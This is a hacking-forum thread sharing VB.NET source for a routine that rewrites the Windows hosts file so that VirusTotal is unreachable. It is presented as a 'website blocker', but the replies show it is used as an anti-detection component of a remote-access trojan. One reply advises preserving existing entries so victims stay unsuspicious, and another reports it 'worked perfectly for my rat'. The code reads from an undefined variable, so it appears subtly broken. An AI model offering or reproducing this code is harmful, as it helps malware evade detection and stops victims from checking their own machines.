Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

.NET 

[VB.NET][Source Code] - Website Blocker

Bored out of my mind, decided to throw this together for my friend. This specific example blocks the user from accessing VirusTotal by editing his/her hosts file. Please do note that in order for these changes to take effect you'll need to restart your computer. (Or at the the very least your internet connection).

Source Code:
Code
Sub WebsiteBlocker()
        Dim hostrape As String
        Dim TheThingThatReadsShit As New StreamReader("C:/windows/system32/drivers/etc/hosts")
        hostrape = fs.ReadToEnd()
        TheThingThatReadsShit.Dispose()
        TheThingThatReadsShit.Close()

        Dim Meltwriter As New StreamWriter("C:/windows/system32/drivers/etc/hosts")
        Meltwriter.WriteLine(hostrape)
        Meltwriter.WriteLine("127.0.0.1                        www.virustotal.com")
        Meltwriter.WriteLine("127.0.0.1                        virustotal.com")
        Meltwriter.Flush()
        Meltwriter.Close()
        Exit Sub
    End Sub

Usage:
Code
Call WebsiteBlocker()
posted many times already
thankz for sharing though
(Mar 27, 2010 10:44 PM)Sikandar Wrote:  posted many time already
thankz for sharing though

I know, it's nothing special, my friend just wanted me to repost it lol.
Very nice post.Thanks for sharing.
Isn't the host file instant ?
Why dont you code so it doesnt delete the stuff wich in already in the hosts file? Like mine does :D That would be alot better, as the other could make user suspicous.
been there done that :)
Its effect is instant, in internet explorer at least.... as long as all history/dns cache is flushed, it will take effect instantly.
Thanks dude worked perfectly for my rat :D
Old Post is old, but you're welcome lol


Possibly Related Threads...
Thread / Author Replies Views Last Post
[.NET] by pro_fesnoobJul 12, 2022 05:53 AM 5 794 Jul 12, 2022 05:53 AM
Last Post: darkterror
[C#] by DeadLineDec 29, 2016 08:59 AM 8 657 Dec 29, 2016 08:59 AM
Last Post: JustFormyLife
[.NET] by NetworkmancerMar 24, 2015 03:01 AM 15 706 Mar 24, 2015 03:01 AM
Last Post: easykiller